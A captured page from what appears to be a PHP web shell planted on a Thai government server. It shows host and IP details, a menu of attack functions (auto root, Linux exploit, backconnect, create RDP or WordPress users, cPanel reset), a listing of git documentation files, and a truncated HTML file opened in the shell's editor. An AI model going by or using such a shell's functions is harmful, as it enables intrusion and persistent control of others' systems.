Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
git-1.7.1 /
[ HOME SHELL ]
Name
Size
Permission
Action
contrib
[ DIR ]
drwxr-xr-x
howto
[ DIR ]
drwxr-xr-x
technical
[ DIR ]
drwxr-xr-x
COPYING
18.33
KB
-rw-r--r--
README
2.41
KB
-rw-r--r--
RelNotes-1.5.0.1.txt
1.23
KB
-rw-r--r--
RelNotes-1.5.0.2.txt
2.25
KB
-rw-r--r--
RelNotes-1.5.0.3.txt
1.54
KB
-rw-r--r--
RelNotes-1.5.0.4.txt
462
B
-rw-r--r--
RelNotes-1.5.0.5.txt
609
B
-rw-r--r--
RelNotes-1.5.0.6.txt
484
B
-rw-r--r--
RelNotes-1.5.0.7.txt
482
B
-rw-r--r--
RelNotes-1.5.0.txt
18.2
KB
-rw-r--r--
RelNotes-1.5.1.1.txt
2.11
KB
-rw-r--r--
RelNotes-1.5.1.2.txt
1.61
KB
-rw-r--r--
RelNotes-1.5.1.3.txt
1.53
KB
-rw-r--r--
RelNotes-1.5.1.4.txt
843
B
-rw-r--r--
RelNotes-1.5.1.5.txt
1.4
KB
-rw-r--r--
RelNotes-1.5.1.6.txt
1.48
KB
-rw-r--r--
RelNotes-1.5.1.txt
12.98
KB
-rw-r--r--
RelNotes-1.5.2.1.txt
1.55
KB
-rw-r--r--
RelNotes-1.5.2.2.txt
2.04
KB
-rw-r--r--
RelNotes-1.5.2.3.txt
796
B
-rw-r--r--
RelNotes-1.5.2.4.txt
802
B
-rw-r--r--
RelNotes-1.5.2.5.txt
928
B
-rw-r--r--
RelNotes-1.5.2.txt
7.18
KB
-rw-r--r--
RelNotes-1.5.3.1.txt
326
B
-rw-r--r--
RelNotes-1.5.3.2.txt
1.89
KB
-rw-r--r--
RelNotes-1.5.3.3.txt
896
B
-rw-r--r--
RelNotes-1.5.3.4.txt
1.18
KB
-rw-r--r--
RelNotes-1.5.3.5.txt
3.3
KB
-rw-r--r--
RelNotes-1.5.3.6.txt
1.4
KB
-rw-r--r--
RelNotes-1.5.3.7.txt
1.55
KB
-rw-r--r--
RelNotes-1.5.3.8.txt
783
B
-rw-r--r--
RelNotes-1.5.3.txt
13.7
KB
-rw-r--r--
RelNotes-1.5.4.1.txt
524
B
-rw-r--r--
RelNotes-1.5.4.2.txt
1.49
KB
-rw-r--r--
RelNotes-1.5.4.3.txt
997
B
-rw-r--r--
RelNotes-1.5.4.4.txt
2.56
KB
-rw-r--r--
RelNotes-1.5.4.5.txt
2.19
KB
-rw-r--r--
RelNotes-1.5.4.6.txt
1.41
KB
-rw-r--r--
RelNotes-1.5.4.7.txt
342
B
-rw-r--r--
RelNotes-1.5.4.txt
14.09
KB
-rw-r--r--
RelNotes-1.5.5.1.txt
1.46
KB
-rw-r--r--
RelNotes-1.5.5.2.txt
772
B
-rw-r--r--
RelNotes-1.5.5.3.txt
305
B
-rw-r--r--
RelNotes-1.5.5.4.txt
140
B
-rw-r--r--
RelNotes-1.5.5.5.txt
449
B
-rw-r--r--
RelNotes-1.5.5.6.txt
342
B
-rw-r--r--
RelNotes-1.5.5.txt
7.42
KB
-rw-r--r--
RelNotes-1.5.6.1.txt
793
B
-rw-r--r--
RelNotes-1.5.6.2.txt
1.42
KB
-rw-r--r--
RelNotes-1.5.6.3.txt
2.06
KB
-rw-r--r--
RelNotes-1.5.6.4.txt
1.54
KB
-rw-r--r--
RelNotes-1.5.6.5.txt
1.02
KB
-rw-r--r--
RelNotes-1.5.6.6.txt
342
B
-rw-r--r--
RelNotes-1.5.6.txt
3.75
KB
-rw-r--r--
RelNotes-1.6.0.1.txt
1.16
KB
-rw-r--r--
RelNotes-1.6.0.2.txt
2.88
KB
-rw-r--r--
RelNotes-1.6.0.3.txt
4.22
KB
-rw-r--r--
RelNotes-1.6.0.4.txt
1.26
KB
-rw-r--r--
RelNotes-1.6.0.5.txt
1.97
KB
-rw-r--r--
RelNotes-1.6.0.6.txt
1.17
KB
-rw-r--r--
RelNotes-1.6.0.txt
9.81
KB
-rw-r--r--
RelNotes-1.6.1.1.txt
1.93
KB
-rw-r--r--
RelNotes-1.6.1.2.txt
1.6
KB
-rw-r--r--
RelNotes-1.6.1.3.txt
900
B
-rw-r--r--
RelNotes-1.6.1.4.txt
1.59
KB
-rw-r--r--
RelNotes-1.6.1.txt
10.2
KB
-rw-r--r--
RelNotes-1.6.2.1.txt
597
B
-rw-r--r--
RelNotes-1.6.2.2.txt
1.47
KB
-rw-r--r--
RelNotes-1.6.2.3.txt
781
B
-rw-r--r--
RelNotes-1.6.2.4.txt
1.32
KB
-rw-r--r--
RelNotes-1.6.2.5.txt
688
B
-rw-r--r--
RelNotes-1.6.2.txt
5.75
KB
-rw-r--r--
RelNotes-1.6.3.1.txt
343
B
-rw-r--r--
RelNotes-1.6.3.2.txt
2.22
KB
-rw-r--r--
RelNotes-1.6.3.3.txt
1.35
KB
-rw-r--r--
RelNotes-1.6.3.4.txt
1.18
KB
-rw-r--r--
RelNotes-1.6.3.txt
6.63
KB
-rw-r--r--
RelNotes-1.6.4.1.txt
1.86
KB
-rw-r--r--
RelNotes-1.6.4.2.txt
1.18
KB
-rw-r--r--
RelNotes-1.6.4.3.txt
1.12
KB
-rw-r--r--
RelNotes-1.6.4.4.txt
1.01
KB
-rw-r--r--
RelNotes-1.6.4.txt
5.23
KB
-rw-r--r--
RelNotes-1.6.5.1.txt
549
B
-rw-r--r--
RelNotes-1.6.5.2.txt
581
B
-rw-r--r--
RelNotes-1.6.5.3.txt
2.43
KB
-rw-r--r--
RelNotes-1.6.5.4.txt
1.24
KB
-rw-r--r--
RelNotes-1.6.5.5.txt
1.85
KB
-rw-r--r--
RelNotes-1.6.5.6.txt
791
B
-rw-r--r--
RelNotes-1.6.5.7.txt
772
B
-rw-r--r--
RelNotes-1.6.5.8.txt
900
B
-rw-r--r--
RelNotes-1.6.5.txt
6.15
KB
-rw-r--r--
RelNotes-1.6.6.1.txt
1.2
KB
-rw-r--r--
RelNotes-1.6.6.2.txt
1.56
KB
-rw-r--r--
RelNotes-1.6.6.txt
9.24
KB
-rw-r--r--
RelNotes-1.7.0.1.txt
1.26
KB
-rw-r--r--
RelNotes-1.7.0.2.txt
1.44
KB
-rw-r--r--
RelNotes-1.7.0.3.txt
1.15
KB
-rw-r--r--
RelNotes-1.7.0.4.txt
888
B
-rw-r--r--
RelNotes-1.7.0.5.txt
915
B
-rw-r--r--
RelNotes-1.7.0.6.txt
365
B
-rw-r--r--
RelNotes-1.7.0.txt
8.56
KB
-rw-r--r--
RelNotes-1.7.1.txt
2.87
KB
-rw-r--r--
blame-options.txt
3.64
KB
-rw-r--r--
cmds-ancillaryinterrogators.tx...
1.11
KB
-rw-r--r--
cmds-ancillarymanipulators.txt
1005
B
-rw-r--r--
cmds-foreignscminterface.txt
689
B
-rw-r--r--
cmds-mainporcelain.txt
2.49
KB
-rw-r--r--
cmds-plumbinginterrogators.txt
1.34
KB
-rw-r--r--
cmds-plumbingmanipulators.txt
1.2
KB
-rw-r--r--
cmds-purehelpers.txt
720
B
-rw-r--r--
cmds-synchelpers.txt
543
B
-rw-r--r--
cmds-synchingrepositories.txt
397
B
-rw-r--r--
config.txt
70.29
KB
-rw-r--r--
date-formats.txt
848
B
-rw-r--r--
diff-format.txt
5.44
KB
-rw-r--r--
diff-generate-patch.txt
5.61
KB
-rw-r--r--
diff-options.txt
9.58
KB
-rw-r--r--
docbook-xsl.css
4.45
KB
-rw-r--r--
everyday.html
25.5
KB
-rw-r--r--
everyday.txt
12.69
KB
-rw-r--r--
fetch-options.txt
2.57
KB
-rw-r--r--
git-add.html
21.18
KB
-rw-r--r--
git-add.txt
9.87
KB
-rw-r--r--
git-am.html
16.84
KB
-rw-r--r--
git-am.txt
6.08
KB
-rw-r--r--
git-annotate.html
13.91
KB
-rw-r--r--
git-annotate.txt
807
B
-rw-r--r--
git-apply.html
20.25
KB
-rw-r--r--
git-apply.txt
9.12
KB
-rw-r--r--
git-archive.html
14.93
KB
-rw-r--r--
git-archive.txt
4.82
KB
-rw-r--r--
git-bisect-lk2009.html
69.47
KB
-rw-r--r--
git-bisect-lk2009.txt
48.19
KB
-rw-r--r--
git-bisect.html
21.6
KB
-rw-r--r--
git-bisect.txt
10.51
KB
-rw-r--r--
git-blame.html
25.77
KB
-rw-r--r--
git-blame.txt
6.56
KB
-rw-r--r--
git-branch.html
19.41
KB
-rw-r--r--
git-branch.txt
8.09
KB
-rw-r--r--
git-bundle.html
16.64
KB
-rw-r--r--
git-bundle.txt
7.1
KB
-rw-r--r--
git-cat-file.html
11.95
KB
-rw-r--r--
git-cat-file.txt
2.79
KB
-rw-r--r--
git-check-attr.html
11.43
KB
-rw-r--r--
git-check-attr.txt
2.3
KB
-rw-r--r--
git-check-ref-format.html
11.7
KB
-rw-r--r--
git-check-ref-format.txt
3.1
KB
-rw-r--r--
git-checkout-index.html
15.54
KB
-rw-r--r--
git-checkout-index.txt
5.49
KB
-rw-r--r--
git-checkout.html
19.77
KB
-rw-r--r--
git-checkout.txt
8.72
KB
-rw-r--r--
git-cherry-pick.html
11.21
KB
-rw-r--r--
git-cherry-pick.txt
2.59
KB
-rw-r--r--
git-cherry.html
10.36
KB
-rw-r--r--
git-cherry.txt
1.86
KB
-rw-r--r--
git-citool.html
8.39
KB
-rw-r--r--
git-citool.txt
686
B
-rw-r--r--
git-clean.html
9.89
KB
-rw-r--r--
git-clean.txt
1.59
KB
-rw-r--r--
git-clone.html
22.76
KB
-rw-r--r--
git-clone.txt
7.8
KB
-rw-r--r--
git-commit-tree.html
15.59
KB
-rw-r--r--
git-commit-tree.txt
2.62
KB
-rw-r--r--
git-commit.html
29.52
KB
-rw-r--r--
git-commit.txt
12.33
KB
-rw-r--r--
git-config.html
125.52
KB
-rw-r--r--
git-config.txt
10.19
KB
-rw-r--r--
git-count-objects.html
8.65
KB
-rw-r--r--
git-count-objects.txt
818
B
-rw-r--r--
git-cvsexportcommit.html
12.55
KB
-rw-r--r--
git-cvsexportcommit.txt
3.3
KB
-rw-r--r--
git-cvsimport.html
18.55
KB
-rw-r--r--
git-cvsimport.txt
7.44
KB
-rw-r--r--
git-cvsserver.html
26.07
KB
-rw-r--r--
git-cvsserver.txt
12.9
KB
-rw-r--r--
git-daemon.html
21.64
KB
-rw-r--r--
git-daemon.txt
10.08
KB
-rw-r--r--
git-describe.html
15.73
KB
-rw-r--r--
git-describe.txt
5.83
KB
-rw-r--r--
git-diff-files.html
37.65
KB
-rw-r--r--
git-diff-files.txt
1.35
KB
-rw-r--r--
git-diff-index.html
42.31
KB
-rw-r--r--
git-diff-index.txt
4.66
KB
-rw-r--r--
git-diff-tree.html
55.48
KB
-rw-r--r--
git-diff-tree.txt
5.45
KB
-rw-r--r--
git-diff.html
43.35
KB
-rw-r--r--
git-diff.txt
4.96
KB
-rw-r--r--
git-difftool.html
12.94
KB
-rw-r--r--
git-difftool.txt
3.47
KB
-rw-r--r--
git-fast-export.html
13.94
KB
-rw-r--r--
git-fast-export.txt
4.84
KB
-rw-r--r--
git-fast-import.html
70.8
KB
-rw-r--r--
git-fast-import.txt
46.64
KB
-rw-r--r--
git-fetch-pack.html
11.73
KB
-rw-r--r--
git-fetch-pack.txt
2.87
KB
-rw-r--r--
git-fetch.html
27.14
KB
-rw-r--r--
git-fetch.txt
2.47
KB
-rw-r--r--
git-filter-branch.html
27.83
KB
-rw-r--r--
git-filter-branch.txt
16.3
KB
-rw-r--r--
git-fmt-merge-msg.html
10.01
KB
-rw-r--r--
git-fmt-merge-msg.txt
1.46
KB
-rw-r--r--
git-for-each-ref.html
15.13
KB
-rw-r--r--
git-for-each-ref.txt
5.23
KB
-rw-r--r--
git-format-patch.html
27.32
KB
-rw-r--r--
git-format-patch.txt
8.87
KB
-rw-r--r--
git-fsck-objects.html
7.6
KB
-rw-r--r--
git-fsck-objects.txt
304
B
-rw-r--r--
git-fsck.html
14.69
KB
-rw-r--r--
git-fsck.txt
4.76
KB
-rw-r--r--
git-gc.html
14.08
KB
-rw-r--r--
git-gc.txt
5.03
KB
-rw-r--r--
git-get-tar-commit-id.html
8.61
KB
-rw-r--r--
git-get-tar-commit-id.txt
901
B
-rw-r--r--
git-grep.html
16.49
KB
-rw-r--r--
git-grep.txt
5.3
KB
-rw-r--r--
git-gui.html
13.14
KB
-rw-r--r--
git-gui.txt
3.63
KB
-rw-r--r--
git-hash-object.html
10.25
KB
-rw-r--r--
git-hash-object.txt
1.96
KB
-rw-r--r--
git-help.html
15.93
KB
-rw-r--r--
git-help.txt
5.87
KB
-rw-r--r--
git-http-backend.html
15.77
KB
-rw-r--r--
git-http-backend.txt
6.49
KB
-rw-r--r--
git-http-fetch.html
9.5
KB
-rw-r--r--
git-http-fetch.txt
1.19
KB
-rw-r--r--
git-http-push.html
11.87
KB
-rw-r--r--
git-http-push.txt
3.02
KB
-rw-r--r--
git-imap-send.html
12.55
KB
-rw-r--r--
git-imap-send.txt
3.59
KB
-rw-r--r--
git-index-pack.html
11.63
KB
-rw-r--r--
git-index-pack.txt
2.99
KB
-rw-r--r--
git-init-db.html
7.63
KB
-rw-r--r--
git-init-db.txt
328
B
-rw-r--r--
git-init.html
13.92
KB
-rw-r--r--
git-init.txt
4.72
KB
-rw-r--r--
git-instaweb.html
11.06
KB
-rw-r--r--
git-instaweb.txt
2.32
KB
-rw-r--r--
git-log.html
73.54
KB
-rw-r--r--
git-log.txt
3.86
KB
-rw-r--r--
git-lost-found.html
9.99
KB
-rw-r--r--
git-lost-found.txt
1.81
KB
-rw-r--r--
git-ls-files.html
16.82
KB
-rw-r--r--
git-ls-files.txt
5.7
KB
-rw-r--r--
git-ls-remote.html
10.56
KB
-rw-r--r--
git-ls-remote.txt
2.17
KB
-rw-r--r--
git-ls-tree.html
12.51
KB
-rw-r--r--
git-ls-tree.txt
3.22
KB
-rw-r--r--
git-mailinfo.html
11.65
KB
-rw-r--r--
git-mailinfo.txt
2.96
KB
-rw-r--r--
git-mailsplit.html
9.85
KB
-rw-r--r--
git-mailsplit.txt
1.4
KB
-rw-r--r--
git-merge-base.html
11.83
KB
-rw-r--r--
git-merge-base.txt
2.94
KB
-rw-r--r--
git-merge-file.html
11.99
KB
-rw-r--r--
git-merge-file.txt
2.96
KB
-rw-r--r--
git-merge-index.html
11.22
KB
-rw-r--r--
git-merge-index.txt
2.6
KB
-rw-r--r--
git-merge-one-file.html
8.35
KB
-rw-r--r--
git-merge-one-file.txt
626
B
-rw-r--r--
git-merge-tree.html
8.59
KB
-rw-r--r--
git-merge-tree.txt
904
B
-rw-r--r--
git-merge.html
31.57
KB
-rw-r--r--
git-merge.txt
10.1
KB
-rw-r--r--
git-mergetool--lib.html
9.45
KB
-rw-r--r--
git-mergetool--lib.txt
1.3
KB
-rw-r--r--
git-mergetool.html
11.25
KB
-rw-r--r--
git-mergetool.txt
2.83
KB
-rw-r--r--
git-mktag.html
8.89
KB
-rw-r--r--
git-mktag.txt
977
B
-rw-r--r--
git-mktree.html
9.18
KB
-rw-r--r--
git-mktree.txt
1.2
KB
-rw-r--r--
git-mv.html
9.65
KB
-rw-r--r--
git-mv.txt
1.37
KB
-rw-r--r--
git-name-rev.html
10.4
KB
-rw-r--r--
git-name-rev.txt
1.82
KB
-rw-r--r--
git-notes.html
14.03
KB
-rw-r--r--
git-notes.txt
4.26
KB
-rw-r--r--
git-pack-objects.html
19.16
KB
-rw-r--r--
git-pack-objects.txt
8.69
KB
-rw-r--r--
git-pack-redundant.html
9.46
KB
-rw-r--r--
git-pack-redundant.txt
1.28
KB
-rw-r--r--
git-pack-refs.html
9.78
KB
-rw-r--r--
git-pack-refs.txt
1.88
KB
-rw-r--r--
git-parse-remote.html
8.19
KB
-rw-r--r--
git-parse-remote.txt
607
B
-rw-r--r--
git-patch-id.html
8.96
KB
-rw-r--r--
git-patch-id.txt
1.07
KB
-rw-r--r--
git-peek-remote.html
9.19
KB
-rw-r--r--
git-peek-remote.txt
1.19
KB
-rw-r--r--
git-prune-packed.html
9.19
KB
-rw-r--r--
git-prune-packed.txt
1.05
KB
-rw-r--r--
git-prune.html
10.66
KB
-rw-r--r--
git-prune.txt
1.9
KB
-rw-r--r--
git-pull.html
37.68
KB
-rw-r--r--
git-pull.txt
5.4
KB
-rw-r--r--
git-push.html
35.52
KB
-rw-r--r--
git-push.txt
13.93
KB
-rw-r--r--
git-quiltimport.html
9.71
KB
-rw-r--r--
git-quiltimport.txt
1.54
KB
-rw-r--r--
git-read-tree.html
28.68
KB
-rw-r--r--
git-read-tree.txt
16.28
KB
-rw-r--r--
git-rebase.html
39.77
KB
-rw-r--r--
git-rebase.txt
19.3
KB
-rw-r--r--
git-receive-pack.html
14.93
KB
-rw-r--r--
git-receive-pack.txt
5.57
KB
-rw-r--r--
git-reflog.html
12.09
KB
-rw-r--r--
git-reflog.txt
3.25
KB
-rw-r--r--
git-relink.html
8.67
KB
-rw-r--r--
git-relink.txt
812
B
-rw-r--r--
git-remote-helpers.html
20.55
KB
-rw-r--r--
git-remote-helpers.txt
9.47
KB
-rw-r--r--
git-remote.html
16.22
KB
-rw-r--r--
git-remote.txt
5.99
KB
-rw-r--r--
git-repack.html
13.82
KB
-rw-r--r--
git-repack.txt
4.54
KB
-rw-r--r--
git-replace.html
11.55
KB
-rw-r--r--
git-replace.txt
2.65
KB
-rw-r--r--
git-repo-config.html
7.57
KB
-rw-r--r--
git-repo-config.txt
274
B
-rw-r--r--
git-request-pull.html
8.66
KB
-rw-r--r--
git-request-pull.txt
695
B
-rw-r--r--
git-rerere.html
16.42
KB
-rw-r--r--
git-rerere.txt
7.06
KB
-rw-r--r--
git-reset.html
26.21
KB
-rw-r--r--
git-reset.txt
13.25
KB
-rw-r--r--
git-rev-list.html
51.06
KB
-rw-r--r--
git-rev-list.txt
3.55
KB
-rw-r--r--
git-rev-parse.html
30.61
KB
-rw-r--r--
git-rev-parse.txt
16.64
KB
-rw-r--r--
git-revert.html
11.39
KB
-rw-r--r--
git-revert.txt
2.79
KB
-rw-r--r--
git-rm.html
14.73
KB
-rw-r--r--
git-rm.txt
5
KB
-rw-r--r--
git-send-email.html
23.52
KB
-rw-r--r--
git-send-email.txt
11.11
KB
-rw-r--r--
git-send-pack.html
12.94
KB
-rw-r--r--
git-send-pack.txt
3.72
KB
-rw-r--r--
git-sh-setup.html
10.57
KB
-rw-r--r--
git-sh-setup.txt
2.1
KB
-rw-r--r--
git-shell.html
8.6
KB
-rw-r--r--
git-shell.txt
887
B
-rw-r--r--
git-shortlog.html
13.52
KB
-rw-r--r--
git-shortlog.txt
1.55
KB
-rw-r--r--
git-show-branch.html
16.66
KB
-rw-r--r--
git-show-branch.txt
6.47
KB
-rw-r--r--
git-show-index.html
8.22
KB
-rw-r--r--
git-show-index.txt
593
B
-rw-r--r--
git-show-ref.html
14.59
KB
-rw-r--r--
git-show-ref.txt
5.57
KB
-rw-r--r--
git-show.html
25.22
KB
-rw-r--r--
git-show.txt
1.81
KB
-rw-r--r--
git-stage.html
7.62
KB
-rw-r--r--
git-stage.txt
258
B
-rw-r--r--
git-stash.html
18.97
KB
-rw-r--r--
git-stash.txt
9.13
KB
-rw-r--r--
git-status.html
14.92
KB
-rw-r--r--
git-status.txt
5.41
KB
-rw-r--r--
git-stripspace.html
8.47
KB
-rw-r--r--
git-stripspace.txt
598
B
-rw-r--r--
git-submodule.html
21.31
KB
-rw-r--r--
git-submodule.txt
10.69
KB
-rw-r--r--
git-svn.html
52.06
KB
-rw-r--r--
git-svn.txt
31.59
KB
-rw-r--r--
git-symbolic-ref.html
9.97
KB
-rw-r--r--
git-symbolic-ref.txt
1.86
KB
-rw-r--r--
git-tag.html
19.35
KB
-rw-r--r--
git-tag.txt
8.41
KB
-rw-r--r--
git-tar-tree.html
11.11
KB
-rw-r--r--
git-tar-tree.txt
2.46
KB
-rw-r--r--
git-tools.html
12.53
KB
-rw-r--r--
git-tools.txt
3.35
KB
-rw-r--r--
git-unpack-file.html
8.39
KB
-rw-r--r--
git-unpack-file.txt
604
B
-rw-r--r--
git-unpack-objects.html
9.31
KB
-rw-r--r--
git-unpack-objects.txt
1.25
KB
-rw-r--r--
git-update-index.html
25.53
KB
-rw-r--r--
git-update-index.txt
12.87
KB
-rw-r--r--
git-update-ref.html
11.72
KB
-rw-r--r--
git-update-ref.txt
3.12
KB
-rw-r--r--
git-update-server-info.html
8.85
KB
-rw-r--r--
git-update-server-info.txt
914
B
-rw-r--r--
git-upload-archive.html
8.54
KB
-rw-r--r--
git-upload-archive.txt
753
B
-rw-r--r--
git-upload-pack.html
8.87
KB
-rw-r--r--
git-upload-pack.txt
941
B
-rw-r--r--
git-var.html
10.67
KB
-rw-r--r--
git-var.txt
1.92
KB
-rw-r--r--
git-verify-pack.html
9.5
KB
-rw-r--r--
git-verify-pack.txt
1.16
KB
-rw-r--r--
git-verify-tag.html
8.38
KB
-rw-r--r--
git-verify-tag.txt
531
B
-rw-r--r--
git-web--browse.html
12.73
KB
-rw-r--r--
git-web--browse.txt
3.54
KB
-rw-r--r--
git-whatchanged.html
22.31
KB
-rw-r--r--
git-whatchanged.txt
1.75
KB
-rw-r--r--
git-write-tree.html
9.17
KB
-rw-r--r--
git-write-tree.txt
1.17
KB
-rw-r--r--
git.html
52.93
KB
-rw-r--r--
git.txt
22.35
KB
-rw-r--r--
gitattributes.html
37.53
KB
-rw-r--r--
gitattributes.txt
22.44
KB
-rw-r--r--
gitcli.html
15.68
KB
-rw-r--r--
gitcli.txt
6.3
KB
-rw-r--r--
gitcore-tutorial.html
89.41
KB
-rw-r--r--
gitcore-tutorial.txt
62.38
KB
-rw-r--r--
gitcvs-migration.html
16.64
KB
-rw-r--r--
gitcvs-migration.txt
7.37
KB
-rw-r--r--
gitdiffcore.html
20.11
KB
-rw-r--r--
gitdiffcore.txt
10.78
KB
-rw-r--r--
gitglossary.html
37.03
KB
-rw-r--r--
gitglossary.txt
369
B
-rw-r--r--
githooks.html
23.98
KB
-rw-r--r--
githooks.txt
12.23
KB
-rw-r--r--
gitignore.html
13.32
KB
-rw-r--r--
gitignore.txt
5.1
KB
-rw-r--r--
gitk.html
12.82
KB
-rw-r--r--
gitk.txt
3.44
KB
-rw-r--r--
gitmodules.html
10.38
KB
-rw-r--r--
gitmodules.txt
1.99
KB
-rw-r--r--
gitrepository-layout.html
17.63
KB
-rw-r--r--
gitrepository-layout.txt
7.19
KB
-rw-r--r--
gittutorial-2.html
24.21
KB
-rw-r--r--
gittutorial-2.txt
14.37
KB
-rw-r--r--
gittutorial.html
34.6
KB
-rw-r--r--
gittutorial.txt
22.27
KB
-rw-r--r--
gitworkflows.html
29.7
KB
-rw-r--r--
gitworkflows.txt
16.99
KB
-rw-r--r--
glossary-content.txt
19.87
KB
-rw-r--r--
howto-index.html
11.18
KB
-rw-r--r--
howto-index.txt
2.74
KB
-rw-r--r--
i18n.txt
2.16
KB
-rw-r--r--
mailmap.txt
2.33
KB
-rw-r--r--
merge-config.txt
1.99
KB
-rw-r--r--
merge-options.txt
2.31
KB
-rw-r--r--
merge-strategies.txt
2.8
KB
-rw-r--r--
pretty-formats.txt
5.42
KB
-rw-r--r--
pretty-options.txt
1.74
KB
-rw-r--r--
pull-fetch-param.txt
3.19
KB
-rw-r--r--
rev-list-options.txt
20.95
KB
-rw-r--r--
urls-remotes.txt
2.4
KB
-rw-r--r--
urls.txt
2.99
KB
-rw-r--r--
user-manual.html
254.52
KB
-rw-r--r--
user-manual.txt
167.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : git-rerere.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="generator" content="AsciiDoc 8.4.5" /> <title>git-rerere(1)</title> <style type="text/css"> /* Debug borders */ p, li, dt, dd, div, pre, h1, h2, h3, h4, h5, h6 { /* border: 1px solid red; */ } body { margin: 1em 5% 1em 5%; } a { color: blue; text-decoration: underline; } a:visited { color: fuchsia; } em { font-style: italic; color: navy; } strong { font-weight: bold; color: #083194; } tt { color: navy; } h1, h2, h3, h4, h5, h6 { color: #527bbd; font-family: sans-serif; margin-top: 1.2em; margin-bottom: 0.5em; line-height: 1.3; } h1, h2, h3 { border-bottom: 2px solid silver; } h2 { padding-top: 0.5em; } h3 { float: left; } h3 + * { clear: left; } div.sectionbody { font-family: serif; margin-left: 0; } hr { border: 1px solid silver; } p { margin-top: 0.5em; margin-bottom: 0.5em; } ul, ol, li > p { margin-top: 0; } pre { padding: 0; margin: 0; } span#author { color: #527bbd; font-family: sans-serif; font-weight: bold; font-size: 1.1em; } span#email { } span#revnumber, span#revdate, span#revremark { font-family: sans-serif; } div#footer { font-family: sans-serif; font-size: small; border-top: 2px solid silver; padding-top: 0.5em; margin-top: 4.0em; } div#footer-text { float: left; padding-bottom: 0.5em; } div#footer-badges { float: right; padding-bottom: 0.5em; } div#preamble { margin-top: 1.5em; margin-bottom: 1.5em; } div.tableblock, div.imageblock, div.exampleblock, div.verseblock, div.quoteblock, div.literalblock, div.listingblock, div.sidebarblock, div.admonitionblock { margin-top: 1.5em; margin-bottom: 1.5em; } div.admonitionblock { margin-top: 2.5em; margin-bottom: 2.5em; } div.content { /* Block element content. */ padding: 0; } /* Block element titles. */ div.title, caption.title { color: #527bbd; font-family: sans-serif; font-weight: bold; text-align: left; margin-top: 1.0em; margin-bottom: 0.5em; } div.title + * { margin-top: 0; } td div.title:first-child { margin-top: 0.0em; } div.content div.title:first-child { margin-top: 0.0em; } div.content + div.title { margin-top: 0.0em; } div.sidebarblock > div.content { background: #ffffee; border: 1px solid silver; padding: 0.5em; } div.listingblock > div.content { border: 1px solid silver; background: #f4f4f4; padding: 0.5em; } div.quoteblock { padding-left: 2.0em; margin-right: 10%; } div.quoteblock > div.attribution { padding-top: 0.5em; text-align: right; } div.verseblock { padding-left: 2.0em; margin-right: 10%; } div.verseblock > div.content { white-space: pre; } div.verseblock > div.attribution { padding-top: 0.75em; text-align: left; } /* DEPRECATED: Pre version 8.2.7 verse style literal block. */ div.verseblock + div.attribution { text-align: left; } div.admonitionblock .icon { vertical-align: top; font-size: 1.1em; font-weight: bold; text-decoration: underline; color: #527bbd; padding-right: 0.5em; } div.admonitionblock td.content { padding-left: 0.5em; border-left: 2px solid silver; } div.exampleblock > div.content { border-left: 2px solid silver; padding: 0.5em; } div.imageblock div.content { padding-left: 0; } span.image img { border-style: none; } a.image:visited { color: white; } dl { margin-top: 0.8em; margin-bottom: 0.8em; } dt { margin-top: 0.5em; margin-bottom: 0; font-style: normal; color: navy; } dd > *:first-child { margin-top: 0.1em; } ul, ol { list-style-position: outside; } ol.arabic { list-style-type: decimal; } ol.loweralpha { list-style-type: lower-alpha; } ol.upperalpha { list-style-type: upper-alpha; } ol.lowerroman { list-style-type: lower-roman; } ol.upperroman { list-style-type: upper-roman; } div.compact ul, div.compact ol, div.compact p, div.compact p, div.compact div, div.compact div { margin-top: 0.1em; margin-bottom: 0.1em; } div.tableblock > table { border: 3px solid #527bbd; } thead { font-family: sans-serif; font-weight: bold; } tfoot { font-weight: bold; } td > div.verse { white-space: pre; } p.table { margin-top: 0; } /* Because the table frame attribute is overriden by CSS in most browsers. */ div.tableblock > table[frame="void"] { border-style: none; } div.tableblock > table[frame="hsides"] { border-left-style: none; border-right-style: none; } div.tableblock > table[frame="vsides"] { border-top-style: none; border-bottom-style: none; } div.hdlist { margin-top: 0.8em; margin-bottom: 0.8em; } div.hdlist tr { padding-bottom: 15px; } dt.hdlist1.strong, td.hdlist1.strong { font-weight: bold; } td.hdlist1 { vertical-align: top; font-style: normal; padding-right: 0.8em; color: navy; } td.hdlist2 { vertical-align: top; } div.hdlist.compact tr { margin: 0; padding-bottom: 0; } .comment { background: yellow; } @media print { div#footer-badges { display: none; } } div#toctitle { color: #527bbd; font-family: sans-serif; font-size: 1.1em; font-weight: bold; margin-top: 1.0em; margin-bottom: 0.1em; } div.toclevel1, div.toclevel2, div.toclevel3, div.toclevel4 { margin-top: 0; margin-bottom: 0; } div.toclevel2 { margin-left: 2em; font-size: 0.9em; } div.toclevel3 { margin-left: 4em; font-size: 0.9em; } div.toclevel4 { margin-left: 6em; font-size: 0.9em; } /* Overrides for manpage documents */ h1 { padding-top: 0.5em; padding-bottom: 0.5em; border-top: 2px solid silver; border-bottom: 2px solid silver; } h2 { border-style: none; } div.sectionbody { margin-left: 5%; } @media print { div#toc { display: none; } } /* Workarounds for IE6's broken and incomplete CSS2. */ div.sidebar-content { background: #ffffee; border: 1px solid silver; padding: 0.5em; } div.sidebar-title, div.image-title { color: #527bbd; font-family: sans-serif; font-weight: bold; margin-top: 0.0em; margin-bottom: 0.5em; } div.listingblock div.content { border: 1px solid silver; background: #f4f4f4; padding: 0.5em; } div.quoteblock-attribution { padding-top: 0.5em; text-align: right; } div.verseblock-content { white-space: pre; } div.verseblock-attribution { padding-top: 0.75em; text-align: left; } div.exampleblock-content { border-left: 2px solid silver; padding-left: 0.5em; } /* IE6 sets 